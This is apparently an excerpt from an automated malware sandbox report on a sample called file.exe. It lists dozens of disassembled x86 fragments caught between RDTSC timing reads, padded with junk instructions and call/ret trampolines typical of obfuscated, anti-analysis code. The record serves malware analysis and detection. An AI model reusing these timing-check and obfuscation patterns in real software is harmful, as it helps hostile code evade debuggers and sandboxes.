Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD230F second address: FD1BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jp 00007F43B8FD99E7h 0x00000010 cld 0x00000011 push dword ptr [ebp+122D0935h] 0x00000017 jo 00007F43B8FD99F8h 0x0000001d jmp 00007F43B8FD99F2h 0x00000022 call dword ptr [ebp+122D1E28h] 0x00000028 pushad 0x00000029 pushad 0x0000002a sub dword ptr [ebp+122D2086h], edi 0x00000030 push edx 0x00000031 mov esi, dword ptr [ebp+122D3986h] 0x00000037 pop edx 0x00000038 popad 0x00000039 xor eax, eax 0x0000003b jmp 00007F43B8FD99F8h 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 jo 00007F43B8FD99E7h 0x0000004a stc 0x0000004b mov dword ptr [ebp+122D37C2h], eax 0x00000051 jnl 00007F43B8FD99ECh 0x00000057 mov esi, 0000003Ch 0x0000005c mov dword ptr [ebp+122D2086h], edi 0x00000062 jp 00007F43B8FD99E7h 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c jmp 00007F43B8FD99EAh 0x00000071 jns 00007F43B8FD99E7h 0x00000077 lodsw 0x00000079 jne 00007F43B8FD99F9h 0x0000007f add dword ptr [ebp+122D2086h], eax 0x00000085 add eax, dword ptr [esp+24h] 0x00000089 jmp 00007F43B8FD99F3h 0x0000008e mov ebx, dword ptr [esp+24h] 0x00000092 cmc 0x00000093 nop 0x00000094 pushad 0x00000095 push ebx 0x00000096 jmp 00007F43B8FD99F6h 0x0000009b pop ebx 0x0000009c push eax 0x0000009d push edx 0x0000009e jmp 00007F43B8FD99F7h 0x000000a3 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AE82 second address: 114AEAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F43B8D26616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F43B8D26635h 0x00000012 jmp 00007F43B8D26629h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149F22 second address: 1149F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jc 00007F43B8FD99FEh 0x0000000c jmp 00007F43B8FD99F8h 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A5C3 second address: 114A5C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A6F1 second address: 114A6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C8C7 second address: 114C8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C8CC second address: FD1BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 07499E76h 0x00000010 push dword ptr [ebp+122D0935h] 0x00000016 movsx edx, bx 0x00000019 call dword ptr [ebp+122D1E28h] 0x0000001f pushad 0x00000020 pushad 0x00000021 sub dword ptr [ebp+122D2086h], edi 0x00000027 push edx 0x00000028 mov esi, dword ptr [ebp+122D3986h] 0x0000002e pop edx 0x0000002f popad 0x00000030 xor eax, eax 0x00000032 jmp 00007F43B8FD99F8h 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b jo 00007F43B8FD99E7h 0x00000041 stc 0x00000042 mov dword ptr [ebp+122D37C2h], eax 0x00000048 jnl 00007F43B8FD99ECh 0x0000004e mov esi, 0000003Ch 0x00000053 mov dword ptr [ebp+122D2086h], edi 0x00000059 jp 00007F43B8FD99E7h 0x0000005f add esi, dword ptr [esp+24h] 0x00000063 jmp 00007F43B8FD99EAh 0x00000068 jns 00007F43B8FD99E7h 0x0000006e lodsw 0x00000070 jne 00007F43B8FD99F9h 0x00000076 add dword ptr [ebp+122D2086h], eax 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 jmp 00007F43B8FD99F3h 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 cmc 0x0000008a nop 0x0000008b pushad 0x0000008c push ebx 0x0000008d jmp 00007F43B8FD99F6h 0x00000092 pop ebx 0x00000093 push eax 0x00000094 push edx 0x00000095 jmp 00007F43B8FD99F7h 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C938 second address: 114C93E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C93E second address: 114C961 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43B8FD99F8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C961 second address: 114C987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push esi 0x0000000a mov edi, 7D4C1762h 0x0000000f pop esi 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D27ACh], ecx 0x00000018 call 00007F43B8D26619h 0x0000001d push ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C987 second address: 114C98B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C98B second address: 114CA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F43B8D2661Bh 0x0000000e pop edx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 je 00007F43B8D2663Ch 0x00000019 pushad 0x0000001a jmp 00007F43B8D26625h 0x0000001f jmp 00007F43B8D2661Fh 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 pushad 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b jmp 00007F43B8D26623h 0x00000030 popad 0x00000031 pushad 0x00000032 push eax 0x00000033 pop eax 0x00000034 jmp 00007F43B8D26625h 0x00000039 popad 0x0000003a popad 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f push esi 0x00000040 jo 00007F43B8D2661Ch 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CA11 second address: 114CA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007F43B8FD99E8h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 00000016h 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 mov dword ptr [ebp+122D202Ah], edx 0x00000026 sbb cx, 78D1h 0x0000002b push 00000003h 0x0000002d jmp 00007F43B8FD99F9h 0x00000032 push 00000000h 0x00000034 push 00000003h 0x00000036 sub dword ptr [ebp+122D2E65h], ecx 0x0000003c call 00007F43B8FD99E9h 0x00000041 jmp 00007F43B8FD99EAh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jl 00007F43B8FD99E6h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CA83 second address: 114CA87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CA87 second address: 114CA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CA8D second address: 114CAB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F43B8D26616h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F43B8D2661Dh 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a jp 00007F43B8D2661Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CAB7 second address: 114CAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jo 00007F43B8FD9A06h 0x0000000f pushad 0x00000010 jmp 00007F43B8FD99F8h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CAE1 second address: 114CAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 lea ebx, dword ptr [ebp+1244E7D1h] 0x0000000c movsx edi, di 0x0000000f push eax 0x00000010 jbe 00007F43B8D2661Eh 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CB9A second address: 114CB9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CD8A second address: 114CD91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CD91 second address: 114CDAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F43B8FD99F0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CDAF second address: 114CE2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26624h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f jmp 00007F43B8D2661Bh 0x00000014 jg 00007F43B8D26616h 0x0000001a popad 0x0000001b pop ecx 0x0000001c pop eax 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F43B8D26618h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 lea ebx, dword ptr [ebp+1244E7E5h] 0x0000003d jmp 00007F43B8D26628h 0x00000042 push eax 0x00000043 pushad 0x00000044 pushad 0x00000045 jg 00007F43B8D26616h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B4F8 second address: 116B4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B677 second address: 116B6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D26623h 0x00000009 je 00007F43B8D26616h 0x0000000f popad 0x00000010 jmp 00007F43B8D26623h 0x00000015 popad 0x00000016 jo 00007F43B8D26626h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B6B2 second address: 116B6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B811 second address: 116B817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B817 second address: 116B81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B81C second address: 116B824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B824 second address: 116B828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB45 second address: 116BB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB49 second address: 116BB4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C10E second address: 116C114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C267 second address: 116C28D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43B8FD99F5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C5D1 second address: 116C5E8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43B8D26621h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CE03 second address: 116CE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CE07 second address: 116CE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D2661Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CE20 second address: 116CE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CE26 second address: 116CE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CE2A second address: 116CE5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F9h 0x00000007 jmp 00007F43B8FD99EFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007F43B8FD99ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D268 second address: 116D26E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D26E second address: 116D278 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43B8FD99E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D57D second address: 116D5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F43B8D2661Bh 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F43B8D26629h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116D5AC second address: 116D5CD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F43B8FD99E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F43B8FD99F2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171535 second address: 1171540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F43B8D26616h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171AF3 second address: 1171AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171AF8 second address: 1171B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D2661Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F43B8D26629h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F43B8D26622h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171B3F second address: 1171B44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C30 second address: 1171C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C37 second address: 1171C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43B8FD99F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171C52 second address: 1171CE2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f jmp 00007F43B8D26625h 0x00000014 pop eax 0x00000015 jnc 00007F43B8D2662Eh 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007F43B8D2661Fh 0x00000025 mov eax, dword ptr [eax] 0x00000027 jmp 00007F43B8D26627h 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jnp 00007F43B8D2662Ah 0x00000038 jmp 00007F43B8D26624h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FC9A second address: 113FCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jne 00007F43B8FD99F5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F43B8FD99F3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FCCD second address: 113FCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117758A second address: 117758F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117758F second address: 11775AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F43B8D26626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11775AA second address: 11775B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11775B3 second address: 11775B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11776FF second address: 1177719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 ja 00007F43B8FD99E6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F43B8FD99EAh 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177719 second address: 1177730 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26623h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BD8 second address: 1177BDE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BDE second address: 1177BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177BE7 second address: 1177BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177D1B second address: 1177D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F43B8D26616h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnl 00007F43B8D26618h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177E75 second address: 1177E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177E79 second address: 1177E90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26623h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AD59 second address: 117AD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B397 second address: 117B3A4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B6A4 second address: 117B6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B6AA second address: 117B6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B6AF second address: 117B6B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B6B5 second address: 117B6B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B7A8 second address: 117B7C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B990 second address: 117B994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BEF7 second address: 117BEFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C692 second address: 117C6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F43B8D26621h 0x0000000b jmp 00007F43B8D26620h 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F43B8D2661Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D87B second address: 117D8FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F43B8FD99E8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov edi, edx 0x00000027 push 00000000h 0x00000029 pushad 0x0000002a jnc 00007F43B8FD99ECh 0x00000030 cmc 0x00000031 popad 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F43B8FD99E8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e jg 00007F43B8FD99F2h 0x00000054 mov dword ptr [ebp+122D208Ch], edi 0x0000005a xchg eax, ebx 0x0000005b push edx 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E12C second address: 117E131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ED1E second address: 117ED22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
